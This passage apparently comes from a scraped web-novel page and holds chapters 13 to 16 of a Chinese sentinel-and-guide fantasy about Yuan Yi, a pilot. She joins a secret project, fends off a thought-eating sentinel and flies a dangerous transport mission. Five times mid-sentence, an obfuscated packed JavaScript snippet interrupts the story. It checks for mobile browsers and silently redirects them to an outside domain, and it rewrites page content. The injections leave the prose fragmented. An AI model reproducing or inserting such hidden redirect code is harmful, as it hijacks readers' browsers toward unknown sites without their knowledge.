她拿出自己的工作用通讯器,点开其中一个图标为羊皮卷纸的应用程序。 点开后页面看起来只是普通的备忘录,元翊停顿了几秒后继续开始输入,她输得极快,好像完全不经思考输入乱码,字符不断叠加,记录页面很快便被拉上,当记录字数超过上限时,通讯器的屏幕突然黑了一下。 片刻后,出现【接入成功,是否开始身份核验】的提示。 元翊保持沉默,没有操作,几秒后提示变成【身份核验通过,元翊,欢迎您回到刺林之中。请开始工作】。 页面重新变成了羊皮纸底色的备忘录,不同的是这一次左上角多了一个39的编号,右上角多了一个交叠的荆棘环logo。 元翊打着哈欠,稍微缕了一下自己的思路,开始记录。 【情况汇报:近日,我协助一名向导(12)和一名二型哨兵(7)完成了外勤任务,现将关于该向导与该二型哨兵与我相处情况汇报如下: 【该向导的情况:我与该向导认识的时间不过半个月,现在他看起来对我颇有好感,其精神体伙伴以企鹅形态被我观测到,具有相当灵智,偶尔令人难以分辨精神体与人体究竟谁更具有人性以及人的通识。 【人体和精神体均有对我赠送鹅卵石的行为,被拒绝后露出沮丧的神态。印在此次外勤任务当中,向导并未提前告知我将担任诱饵以及钳制一位失控一型哨兵的任务,所以初步判断其对我产生的情感并不会影响正常的工作,但因其存在想要阻止我单独出行的举动,所以还需额外注意,后续我也将继续关注。 【该二型哨兵的情况:其为刚转化不久的二型哨兵,我在远离白塔的大型超市之中与其第一次会面,我因白塔工作准则的要求首先搭话,之后与该二型哨兵共同参与外勤任务。短暂相处难以判断其究竟是对我的情感有兴趣,还是对人类的情感感兴趣,但不可否认该二型哨兵确实对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606548|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我产生了友善态度,但是否怀有好感还有待观察。】 【突发情况汇报:刚刚有一名之前没见过的一型哨兵(22)因感受到我的负面情绪让其精神体(呈现巨嘴鸟形态)送来一张纸条(附上图片),并且在我打开窗子时飞入我的房间,随后人体也来到房门外开始敲门。我因时间太晚未与人体做出交流,并与其精神体谈判。该精神体在我洗漱时离开我的房间。】 书写完毕后,她等待了一会儿,直到回复一般的文字出现在她书写的情况汇报下面。 ?:【目前情况来看,比起人体,你对精神体的吸引力似乎更大】 元翊:【我也这样认为,大部分时候一型哨兵和向导的精神体会比人体部分更早发现我并靠近。但二型哨兵很难判断,除了二型哨兵(4)个体因其过于具有针对性的举动,我判断我对其具有吸引力,但是是否正向很难判断。】 这一次,那边沉默了相当的时间。 ?:【明白了。】 ?:【你认为此吸引力对污染物是否有效?】 元翊:【很难说,但既然精神体和二型哨兵均是污染产物且我对他们均有一些不同于其他人的吸引力,我认为很有尝试的价值。】 ?:【明白了。】 ?:【元翊,接下来将是第三次,也是最后一次向您确认:您是否自愿参加“绝烬”计划】 元翊:【我自愿参加“绝烬”计划。】 沉默。 片刻后: 【您成为参加该计划的第5名志愿者。】 【您获得1个优先名额,将在您完成第一次相关工作后进行兑现。】 【感谢您的牺牲与奉献。】 屏幕黑了。 再亮起来时,刚刚存在过的文字已经全数清空,想什么也没发生过。 放在床头上的机械钟秒针走动的声音在夜里渐渐变得洪亮起来,白塔的噪声屏蔽解除了。 元翊关上通讯器。仰面躺在床上的时候,她长长长长的叹了口气。 终于又有一个了。 虽然还没兑现,但是总算是又有一个了。 这样她手里的三个名额就足够把家里所有人都登记上去了——不过现在还没有兑现,不保险。今年的特优还是得拿,特级驾驶员还是得考。 到时候哪怕绝烬流产了,这边不行也还有后招,最多四年......她家里人都能进优先名单了! 这令人振奋的奖励让之前的沮丧一扫而光。 “完什么蛋......”她翻了个身,用被子把自己卷起来,喃喃:“......就不完蛋。” 13. 13 一觉睡到大天亮。 元翊一点没因为自己之前做出了加入某项秘密计划的重大决定而焦虑失眠,反正她早就打定主意不会放过任何一个有可能夺取新名额的机会,不管这件事情是不是“绝烬”,到底是危险还是普通,她都一定会拼命争取加入的——更何况通过这半年的了解和体验,这个什么“绝烬”计划听起来吓人,但看起来好像没什么不得了的,暂时不会让她去做什么冲锋陷阵的危险事情。 这个计划目前看来像是在观察猫薄荷对猫的影响,大言不惭的说一句,虽然不知道为什么,但是她就是被投放使用的猫薄荷之一。组织要求她在自己能够接受的范围内尽可能和向导哨兵多接触,注意观察和总结他们与自己接触时的状态,尤其是注意这些人是否会对她产生特殊好感,这份好感能否影响正常工作和生活。 不用刻意回避或者迎合,就当没这回事,你想怎么对待他们就怎么对待他们——但是如果选择发生关系一次最好不要有复数对象,可能会导致受伤以及严重冲突事件,烂摊子收拾起来很麻烦。如果发生了一些法外事件,要让她重见天日也不是一件容易的事情。 ......每个字都认识,但是连起来就让人有点看不懂这到底是什么意思。 什么叫复数对象? 什么叫法外事件? 什么叫重见天日? 啊??? 鉴于白塔每一条规定和告诫的背后百分之百都有血的教训,元翊觉得自己知道了一些可能不知道会比较好的事情,当然,为了自己的身心安全,她将不去探究此事,就假装什么也不知道好了。 反正她也不可能和哨兵向导发生关系,更不要说复数对象。 但是人嘛,有的时候总有些好奇心的,总之她忍了又忍,最终没忍住,问了一嘴:“真的有人,一次......好几个,啊?” 组织说只是告诫,没别的意思,让她不要多想,当然,也不要探究别人的个人生活,大家都是好战友好同志,但是也都是身心健康的成年人。 元翊:不是,成年人是成年人,但是,成年人、这位成年人的世界好像和我知道的不太一样啊! 震惊、迷惑、惊恐、钦佩,最后都化作难以理解的但尊重祝福的沉默。总之,她决定当做什么也不知道。 起来洗漱完毕之后,元翊决定今天抽空去问一下自己家什么时候能通过危险排查,她不是很想在白塔住,虽然住在白塔确实有助于完成自己的秘密KPI,但是高强度接触这些让她略感排斥的人物会严重妨害人的身心健康,可能影响自己今年的特优评价。 这样想着,元翊准备先出门。 开门。 吓一跳! 关门!!! 砰的一声。 一些死去的回忆攻击了她,元翊隐约想起自己开始在白塔工作的时候其实是住过宿舍的,因为方便,每天可以多休息一会儿,但是不到半个月就立刻退宿火速逃跑了。 因为每次都会赢来开门杀。 元翊:一开门看见门口盘着蛇虫鼠蚁豺狼虎豹真的很无助。 没事的没事的,这些精神体看起来并没有异变的症状,就当是逛野生动物园了。去动物园看动物还要给钱,在这里都不用给呢! 没事的没事的没事的! 给自己做了两分钟心理建设,元翊再次打开门。 她踮着脚小心地跳过一坨蟒蛇,猫着腰说“借过借过”躲过了想要落在她身上的乌鸦,侧着身以一个尽量不碰到别人的扁扁形态从体型庞大又毛绒的精神体缝隙之间穿行。 精神体并没有像小动物那样的怪异味道,甚至大部分跟闻起来香香的,元翊一视同仁的喜欢绝大部分小动物,但是对于精神体,她总是偏向回避的状态。 除了一些个人原因,还有一小部分是因为元翊觉得这毕竟算是半个同事,不能随意的对待。但是把它们当做独立个体或这人来对待也很奇怪,所以大家要不然就尽量不要产生什么交集。 好在它们绝大部分时候都非常规矩,比它们的本体更加明白社交距离的重要性,不会随便做出纠缠或者其他的奇怪举动。 它们只会跟随一段时间。 像现在这样。 像斯托卡这样。 在当着它们的面掏出耳机挂上之后,元翊开始面不改色继续向前走,好像对自己的身后的跟随大军毫无感知。她对待这种事情已经很有经验了,只要不管,它们自己跟个一小段,在离开走廊之前就会各自消失回到自己本体的身边。 ......这个情况之后也要汇报给计划负责人,这看起来简直像是精神体异常现象。 总之先观察观察。 就这样目不斜视的一路向前,直到身后渐渐没有声音了,元翊才在又转过一个转角后停下。她先隐晦的向后看了一眼,确认背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606549|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后没有东西了,这才扶着墙,长长的松了口气。之前走的时候一直挺得直板板的,像是腰背别了铁棍,现在终于放松下来了。 “......真服了,每次在这住都得绕半天路。”她小声抱怨了一句。毕竟没人想让自己被一群精神体斯托卡跟随的样子被工作搭子偷拍下来嘲笑。 哨兵向导耳聪目明,这种小声抱怨很有可能在别人耳朵里就是大声叫骂,但是有时候话说出来就是为了让人听见的,元翊巴不得这群人管好自己的精神体,不要再在别人门口聚集。 活动了一下略显僵硬的肩膀,她查看今天的任务安排。 今天指派给高级驾驶员的工作是运送实验体,需要高级驾驶员运送的往往是比较麻烦的东西,元翊想起上一次运送的活体时一个会快速增殖的玩意,在运输过程当中容器产生裂缝,幸亏她处理得当没有酿成事故——但是真的很恶心啊!谁来赔偿她收到的精神损伤啊! 好在今天和她搭班的还有另外两个老伙计,独惨惨不如众惨惨,大家一起惨,那就是都没有那么惨了。 这样想想,她脚步都变得轻快了不少。 将这轻快脚步拦截下来的是一声笑声。 这笑声听起来是非常标准的普通人类笑声,但正是因为太过标准,骤然出现让人十分毛骨悚然。 元翊猛然回头,快速巡视后立刻抬头向上看。 有人正站在空中,察觉到自己已经被发现后,他向前走了一步,从肉眼不可见的落脚点上跳下来。他似乎消失了一瞬,在元翊将目光回正之前,他已经落到了地上。 “我还以为你发现不了我。”他的声音略显遗憾。 元翊看了他一会儿。两人之间的距离超过五米,她快速的感受了一下自己的情绪思想,但一时之间好像没有什么异常。 “别担心。”他再次开口,用包裹在手套当中的修长手指比了一个极狭窄的距离:“我这次没有吃很多,只是舔一舔而已。” 元翊冷静的回答:“窥探、抽离、吞噬他人情感思绪是严重违规行为,你刚刚因为这件事结束禁闭,不要屡教不改。” “唉,我也没有办法。我很饿。”他肩膀一塌,像是叹了口气,然后重新仰起头来。 “我只吃一点。”他说:“不会让你像上一次一样失去意识的,只是舔一舔,可以吗?” 说着询问的话。 他向元翊大步走来。 14. 14 说来可笑,林还没有分化,八水区之前只有三个二型哨兵的时候,有两个和元翊的关系都非常糟糕。 一个是那个去出外勤爱欺负人的家伙,另一个就是这位。 虽然白塔不许给工作人员取别名,禁止给向导哨兵起外号,严禁用名字之外的名称称呼二型哨兵,但元翊还是在心中给每位好伙伴取了一个别名。 程南洲和帝企鹅是“建筑大师和它的助手”,因为他们总是来她门口搭建违章建筑。 领导是“胡德禄”,因为他之前把迪斯科球定在脖子上当头,简称“球头”——现在可能得改名了,叫无头骑士也不错。 欺负人的那个没有,他已经到元翊不愿给他取绰号的地步了,排除。 然后就是面前的这位。 异食癖。 这位在成为二型哨兵的时候可能失去了一些宝贵的东西,他在品尝大部分东西的时候没有什么感受。依然可以正常摄入食物,吸取养分,但是失去了与世界的一条重要的联系通道,这位二型哨兵的状态变得非常不稳定。 直到他发现了他的另一项天赋。 他可以品尝到他人的思绪。 很难说明这究竟是什么感受,因为他的头部异变形态是一束花朵。千朵万朵压枝低,稠密的花茎取代了脖颈一路沿伸进领口,扣子系到最上面的一颗,那一大把花茎正好将衬衫的领子撑出一个好看的形状。 抛去头部异变,只看身躯,异食癖的身躯是非常具有观赏性的身躯,如果他将这幅身躯投入到对抗污染的战斗当中而非是像现在这样用来胁迫无辜工作人员,想必元翊会毫不犹豫的对他大加称赞的。 她站在原地,面无表情,看着那位花束脑袋哨兵大步向自己靠近,最终停在一步之外的地方。 “你没有逃跑。”他的声音略显失落,但很快又高兴起来:“这让此时失去了很多应有的滋味——不过也省去了很多不必要的冲突和不愉快。像你经常说的,往好处想,对吗。” 元翊:我真想不到我竟然还能和二型哨兵冲突,我真厉害啊。 她冷眼旁观,不置一词,但这样的冷淡丝毫没有打击到二型哨兵,他依然看起来饶有兴味的模样。 “你总是不爱说话。”他说:“你应当多说些话。当然,并不只是陈述那些你我都知道的条例准则,你应当多说一些别的话。” 二型哨兵:“我不能品尝语言和声音,但这些无形的东西就像餐桌上的插瓶花和烛台,没人不喜欢再进餐的时候多点情调,我想你应当可以理解,对吗。” 说话时他有些弯下腰来了,有一朵花垂落到离元翊很近的地方,花瓣几乎贴到她的脸上,她想要往旁边避让一些以避免和那朵花直接接触。 一个人的独角戏有点无聊,哨兵歪了歪头,发出一声类似叹息的声音。 “亲爱的。”他似是有些无奈地说:“如果你真的想要拖延一些时间,你就应该满足我的需求,我甚至尚未开始进食,只是想要听到一些声音,你都吝啬得不远给我,既然如此,看来我并不需要压抑自己对吗。” 两人照面的时候元翊就知道来者不善,毕竟之前被这个哨兵......“品尝”过,她在见面最初就已经发了警报信号。这没法瞒过哨兵敏锐的感官,他一早就知道。 逃跑和反抗都是无用的,普通工作人员与二型哨兵发生冲突的时候应当参照《白塔工作规定细则》相关条款的规定,尽可能保持平静,拖延时间,等待处突人员响应。 一般不建议激烈反抗或者逃跑,因为有时可能会激起二型哨兵的过杀行为,恐会酿成严重后果。 看到他真的向自己伸出手来,这比只是看见他走过来要恐怖得多。虽然元翊知道这种抽取思绪的行为并不需要客观上两人的贴近,这位哨兵这样做只是为了激起人更多的情感,但不得不说,他确实做到了,那一瞬间元翊感觉自己的呼吸都暂停了。 “我想,每一个人都有自己选择发声或者不发声的权力,而他人不可因自己的意愿侵犯这项权力。” 第三个声音介入,元翊并没有听见他靠近的声音,仿佛他是瞬间出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606550|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在她身后的。林自然而然的压住了那个略显急迫的手腕,遏制对方的动作后,轻松的向前上了一步。 这种时候看到“摄像头”莫名的让人有种安心感,本来还担心处突人员是一型哨兵的元翊悄悄松了口气:“是你过来。”太好了。 林:“正是我。如果你愿意称呼我的名字,我会更高兴。” 在这里吗? 元翊下意识拒绝了:“不行。” 然后解释道:“不要激化矛盾了,我等等还要去上班。” 林说:“明白了,我是懂得礼貌的人,我不会强迫你做不愿的事情。” 另一位发出一些可怕的爽朗笑声:“看来你交了一些新的朋友,真为你高兴,亲爱的,元翊。” 他转向林,用商量的语气:“我并没有品尝她其他的思绪,只是舔一舔那部分本来就我而产生的也不可以吗?” 林:“真是抱歉,思绪无论因何产生都是属于她本人。白塔的规则禁止食用任何人类部分。” 他停顿了一下,然后说:“你很不熟悉这些规则,这很坏。” 哨兵沉默下来。 他似乎审视了一番元翊和林,然后抛出了一个与之前对话截然无关的话题。 他对元翊说:“你知道我的名字吗?” 元翊:......? 虽然迷惑,但是谨慎起见,她并未回答。 这是意料之中,因为他并没有将自己的名字告知过元翊,并且再见到她注视林的目光之后,她再用这样带着抗拒和怀疑的目光看着自己时,二型哨兵总觉得有点不对。 对待二型哨兵应当一视同仁,既然这么熟悉规则,这一条不可能不知道吧。 这样想着,他在向林示意之后首先放下了手。 “是我不对。”他诚恳道:“工作是最优先的,我不应该打扰你的工作,元翊。” “至于这些私人问题。”他后退半步,离开时,消失之前,剩下的半句话风一样飘飘然落下来。 他说:“我们可以稍后谈。” 15.15 确定异食癖离开了之后,元翊向林道谢。 林:“不用谢,这是我应该做的。不过您看起来似乎还有其他话想要说,不易压抑,请讲。” 元翊收回目光:“不,没什么。” 她稍微整理了一下自己的衣服,看表:“时间不早了,我要去工作了。谢谢你过来林,辛苦了,我先走了。” “请稍等。”伴随着话音的是轻微的拉扯感。 林并未出手,但元翊能感到自己离开的动作好像有了更强的阻力,脚下也有了稍微地粘连感。这种力量不足以让人停下,但足够让人感到......挽留。 不是褒义的那种。 林:“我最近对猜谜游戏很感兴趣,既然如此,不如让我来试试。我猜你对于我恰到好处的赶来有些疑问对吗。” 元翊:“......” 该死,她以为不问就没事了,没想到还是不能善了了。二型哨兵有的时候在莫名其妙的地方非常执着,如果不能达到目的就决不罢休,但这种执着一般情况下与伤害他人或者更可怕的事情不太有关系,所以也很难用爆炸项圈去威胁对方。 她曾经听说过一个非常怪诞的故事,一个二型哨兵不知为何把一块白色的餐巾盖在头上,并且指名一名工作人员帮她取下来,被拒绝后锲而不舍,顶着这块餐巾暗中鬼祟对方很久,并且随时出现提出自己的请求。 包括但不限于睡觉、洗澡、上厕所。 最后那名工作人员烦不胜烦的答应了这个要求,该哨兵终于心满意足的离开了。 这个故事在别人听来可能是一个搞笑故事,但元翊一直将至引为箴言,她会尽一切力量来避免自己陷入这种可怕的情况当中 ,如果有人在自己洗澡睡觉上厕所的时候突然出现她觉得她可能会圆润的离开这个美丽的世界! 绝对不可以! 思绪的转变会通过眼睛泄露出一星半点,林敏锐的察觉到元翊的眼神似乎有所变化,现在她看向他就像看向潜在的犯罪分子斯托卡,充满了不信任。这也许是一个新的猜谜游戏,在他因此感到愉快时,另一件更令人愉快的事情发生了。 元翊说:“我真的来不及了,边走边说吧。” 林:“荣幸之至。” 白塔内部十分广大,除了人,能看到各式各样的精神体走来走去。精神体不一定亦步亦趋的跟随在人体的身边,有时候遇到别的吸引它东西,也会去凑凑热闹。 比如现在。 偶遇、经过,有些精神体甚至还会从很远处专门过来,试图亲昵的蹭一蹭元翊,被躲开或者制止,然后转脸向林炸毛示威一下,表示切实的讨厌。 元翊习惯了,并且对此从容应对。林则毫不在意,此时他有更在意的事情。 “收到警报后,我确实提前赶到了。”他说:“但并没有立刻出现。” 说完,他停下来,等了一会儿。这话并没有收获回应,林后知后觉的发现他似乎也陷入了和之前那位一样的境遇之中,元翊对待他同样沉默。 这可真是糟糕,似然他不至于可怜到名字都不被别人知道的地步,但是正因为尚不到那一步,他才更不能接受现在被这样对待。 林:“你对这件事没有好奇心吗?” 元翊:“我以为我目前扮演的是倾听者。只需要听就可以了。” “即便是一件与你相关的事?” “如果你是说这件事,那关联性可能没有那么大。无论如何你选择了履行职责,我也没有受到伤害,局面没有进一步升级,处理很得当,我已经很感谢了。”元翊指了指前面的建筑:“我到了,今天谢谢你林。” 说完,她跑进机械载具区。 想说的话没有说完被迫终止,追上她是易如反掌的事情,但林却并没有那样做。他陷入思索之中,元翊并没有如预料一般对将她从紧张环境当中带离的自己产生更深的兴趣和感情,在当时她确实因为自己的到来感到了一些庆幸和欣喜,但那些情绪很快淡去。 真可惜,还以为这次之后他们会成为更为亲密的伙伴,看来只能再找别的机会了。 不过同为二型哨兵,或许他应当再去找那位口味独特的同事一次。 林想。 他想去确认一下,关于对方对礼貌的看法,以及确认曾经让自己痛失以为本应得到的亲密好友的无礼之徒的具体身份。 · 上班使人快乐。没那么快乐,但是比起和哨兵向导一起,那还是上班吧。 爬上载具,启动,浮空,测试机体性能,确认正常,开始前往目的地。独自在驾驶舱内的这段时间是元翊比较享受的,有时她会选择播放一些音乐,更多的时候她会在这段时间短暂的放空自己。往外看, 穿过云层时偶尔能看到丝丝缕缕的污染,像极光,或者滴入水中化开的墨点。如果抛开它们大量聚集之后引发的异常状况,仅仅说观赏性,元翊一直觉得污染有一种怪异的美感。它们会随着风、水或者一些难以辨明的原因往一起聚集,到可以被肉眼观测到的时候,说明这里的污染已经具有相当的浓度。 它们会有一种“活感”,像是水母的触须或者海葵的花瓣,似乎是随波逐流,但偶尔也能看到那些带状或者菌丝状的污染逆风而上,搏动着,鼓噪着,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610709|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来竟然颇有生命力。变换的颜色为它赋予了另一种毛骨悚然的魅力,元翊稍微摸了摸自己的胳膊,挪开眼睛又忍不住惊叹。 然后开启锐化层,飞行载具加速,翻滚,像一台钻头穿过污染带,将那些颜色搅得粉碎,快速消散。 毕竟这种浓度让哨兵向导前来处理实在小材大用,只需要看见的时候加速通过将它冲散即可。 到达研究所,有人早就在那里等着她,那位研究院穿着连体的密封实验服,头帘全部被包裹在安全面罩内,元翊站在双手叉腰的研究员面前,两人大眼瞪小眼半天后,元翊试探着:“赵研究员?” 研究员叮的弹出个大拇指。 依然不说话。 下一秒,研究员伸出手想要去拉她,但半路又猛地把手收回,还懊恼的拍了两下,然后做出请的手势。 元翊跟上去。 两人一路走到一个房间内,桌子上摆着一些小零食还有纸板。赵静做了两个“快吃快吃”的动作,然后在板子上龙飞凤舞的写道:【悲!污染伤到声带,继续两个月恢复,此期间禁止食用固体食物,然而零食临期,急招一名心之好友为我解决此烦恼!】 写完后,她把板子倒扣在桌子上,又一次对着桌子上的这堆临期零食做出一个“请!”的动作。 就是那种“当别人说世界上没有什么是完美的,我:”的那个动作。 元翊欲言又止,止言又欲:“你知道我不太喜欢吃零食的吧?” 赵静,笔走龙蛇:【要是我自己能吃你以为轮得到你吗???拜托了我能依靠的就只有你了呜呜呜T〇T】 元翊:“......那我带回去给别人吃吧。好了,现在我们可以说说工作的内容了,这次运输需要注意什么吗?” 【当然!】 赵静翻页:【这次的运输物品危险性高,需要立刻返回白塔,我不留你吃饭了。我虽然相信你一定能完成任务,但是为了保证安全,我们还是给试验品配备了护卫,事不宜迟,具体情况就由护卫来详细讲解吧。】 元翊:“好吧,看来很紧急,那我也不耽搁了。谁是我的护卫?” 【他们应该过去了。】 赵静思索一下:【你们应该认识。】 认识? 元翊带着一大包零食回到已经装上运输舱的载具时,一眼就看到了正在和她挥手的......两位建筑工人。 程南洲,兴高采烈:“真巧啊元翊,这次是你来负责运输吗?太好了,今天是我来负责护送你,别担心,我会好好保护你的!” 帝企鹅,乱扇翅膀:“嘎——!” 16.16 元翊并不是第一次和哨兵向导一起工作,甚至再往前一些时候,她还算半个战斗人员,她的第二个优先名额就是在与向导哨兵一起战斗的时候立功获得的。大部分时候她能和大部分人和睦相处,因为大部分哨兵向导不会有很多话,过量噪音会让他们烦躁,所以更倾向保持安静。 但程南洲不一样。 元翊从未见过话这么密的向导。 元翊:“研究员说你会给我说明此次任务的危险性和注意事项,你可以开始了。” 程南洲故意拖着长声:“诶,我和你在一起一定会保护好你的,不需要说那些,比起无聊的东西我更想和你多聊聊天啊。” 又来了。 元翊的眼睛闭了两秒。 再睁开的时候眼中重新变得一片平静。 “程南洲。”她平静的命令:“开始任务讲解和注意事项说明,现在。” 程南洲连同企鹅一起委屈的嘟嘟囔囔:“好凶哦。” 然后就开始高高兴兴的讲解。 和某种神秘流程一样,不凶他一下就不干正事。这也是元翊总结的一个经验,跟有些家伙一起干活的时候就是不能太好说话,他们一个两个总是想蹬鼻子上脸,给一些明确的命令反倒能让他们配合一些。 程南洲简单的讲解了一下被运输的实验体。这是研究院从一整块巨大污染实体上切割下来的三个部分,这块污染物的活性极其顽强,几次杀灭行为均无法对其造成完全灭杀。试验进度的部分程南洲并没有过多描述,他只是着重说明了该污染物具有强聚合性,元翊运送的这一块组织可能会和其他两位驾驶员运送的产生一些呼应动作。 程南洲:“现在它还在活性恢复期,理论上在我们飞回白塔之前应该不会醒过来。” 元翊:“那就是说实际操作过程当中有可能发生活性突然爆发的情况了,我明白了,我会做好相关防范。如果情况真的发生了,你们有什么预案吗?” 程南洲用拇指指了指坐在旁边始终保持安静的哨兵:“参与这次任务的哨兵都是特别挑选的,你不用担心。” 那行。 元翊点了点头。其实她对此次同行的哨兵并没有太多的印象,毕竟从他们见面开始程南洲的话就没停过,她甚至都没有来得及问一下那位哨兵叫什么名字怎么称呼,并且和程南洲一比,哨兵先生简直安静的过分。 要是程南洲能学习一下这份美德就好了。 程南洲:“我感到你在想别的事情。愿意和我说说吗?拜托,之前我们天天见面,突然好久不见面我觉得好无聊。” 元翊:“也没有很久,而且你可以做点别的事。” 程南洲:“我把和你的对话录下来剪辑之后反复听算吗?” 元翊:“......你别逼我删你。” 程南洲略惊喜:“啊真的吗?那你动手的时候要记得提前告诉我,我会放松肌肉的。” 不是扇你是删你!把你从我的通讯录剔除不是用我的手扇你的脸!!! 牙齿发出一声响亮的咯咯声,元翊强迫自己暂时忽略程南洲......以及蹭来蹭去,看起来非常焦急害怕自己被遗忘的企鹅。 ......有的时候人真的需要一瓶哑药。 比如现在,这样她就能给程南洲灌下去,以此获得片刻安......等一下一瓶可能不够,她需要两瓶,因为这只聒噪的企鹅也需要一瓶来恢复安静。 恶狠狠地想着,她保持着平静的神清,准备戴上耳机把程南洲的声音全部过滤掉。 “哇,不要这样嘛。”他按住了元翊正要戴上耳机的手,撒娇一样嚷嚷:“这样你肯定就听不到我说话了,就算我们都带上耳机,你也会把我的频道屏蔽掉的。” ......你也知道啊。 她忍不住看过去一眼:“行驶途中和驾驶员频繁说话是妨碍安全的行为,为了我们能顺利完成任务,我希望你能——” 没说完,她感受到了一次强烈撞击。来自运输舱内部,一次,然后是第二次,表盘上显示运输舱内温度正在急剧升高,气压增大,舱体本身突然受到别的力,开始往前进方向相反的方向行进。 那股力很大,元翊要花点力气才能稳住操作杆。 先是运输物清醒后开始和载具拔河,接着是仪表盘警报,运输舱内部被撑裂,有部分运输物从内部探出来了,正在沿着链接装置向上攀爬。元翊切过去看了一眼,这看起来有点像是苔藓,好在它只是向上攀爬,没有空中解体。风压很大,气温很低,那些毛茸茸的触须上已经结了一层白霜,它爬得很慢,但是一直再向上爬。 元翊立刻通知共同执行任务的另外两名驾驶员,自己运输的物品已经苏醒,让他们两位也做好准备。 驾驶员大哥:“哈哈,刚想通知你们呢,我这边也醒了,正和我拔河呢。” 驾驶员大姐:“我也正——嚯,劲还挺大,两位伙计小心点哦。不说啦小元,咱们白塔汇合,小心噢。” 这次任务都是高级驾驶员,除了自己经验欠一点,这两位是老哥哥老姐姐了,不用担心。 分出一个页面观察向上攀爬的苔藓,她看向两位老神在在的护卫:“需要做什么吗?还是就先保持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617028|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,往白塔开?” 程南洲:“我是倾向于不用管,反正最后就算载具全部都被包裹,这部分也并不具备吞噬的能力,顶多看起来恶心点罢了。你怎么看老萨?” 被称为老萨的哨兵抬起眼,元翊注意到他有一双流光溢彩的眼睛,他不知道是思索还是出神,看起来很恍惚的看了一会儿窗外,然后在渐渐激烈的颠簸中自顾自解开自己的安全带站了起来。 “系好安全带。”戴着战术手套的手在元翊的肩膀上轻轻的搭了一下,声音也如同他整个人一样听起来飘忽不定:“戴上面罩,开稳一点。我出去一下。” 听到这话,元翊下意识的看了一眼表盘上他们现在的飞行高度。 8201米。 这种高度,出机舱说的像是出门去便利店买瓶喝的一样轻松,不愧是哨兵。 开门。暴风倒灌。巨响。 萨隆站在舱门口,在暴风中向下看,然后向前迈了一步,消失在驾驶舱内。他像一片落叶或者一滴雨水,从一个不可能的方向轻巧的落在运输舱的外壳上,他什么也不做,只是放出自己的精神体——一只蓝色的青蛙爬上链接索。 那只小青蛙爬的不快,缓慢向上,但每当它踩过那些苔藓,它们立刻便萎缩凋敝。 撞击感和对抗力随着向上攀爬的苔藓不断枯萎而更加强力,元翊努力稳住载具,方便萨隆更好行动。他一只手攀这链接索,身体随着撞击惬意的摇摆,偶尔荡出平台之外,转一圈再重新落回来。 毕竟是高空,这个高度摔下去那就真的成了萨隆酱了,元翊下意识有点担心,但从哨兵本人的表情来看,他感到十分惬意。 像一场游戏。 玩够了之后,他蹲下来。元翊没看到他做了什么,只是猛烈地撞击渐渐只息,最终连对抗力也无力维持了。 等萨隆重新从开着的舱门走进来,他在关上门后稍微整理了一下自己略显凌乱的头发,随后便回到自己的位置上,闭目养神。他看起来并不想说什么,好像刚才他真的只是去便利店买瓶水,现在买完了,可以休息了。 元翊小声询问程南洲:“他刚刚战斗过,你需要给他做个净化什么的吗?” 程南洲同样小声:“这种程度算是热身吧?我觉得不需要。喂老萨,你需要净化吗?” 闭着眼睛的萨隆:“望你知悉,我没有被人暴力对待的爱好,暂时不需要你的帮助。” 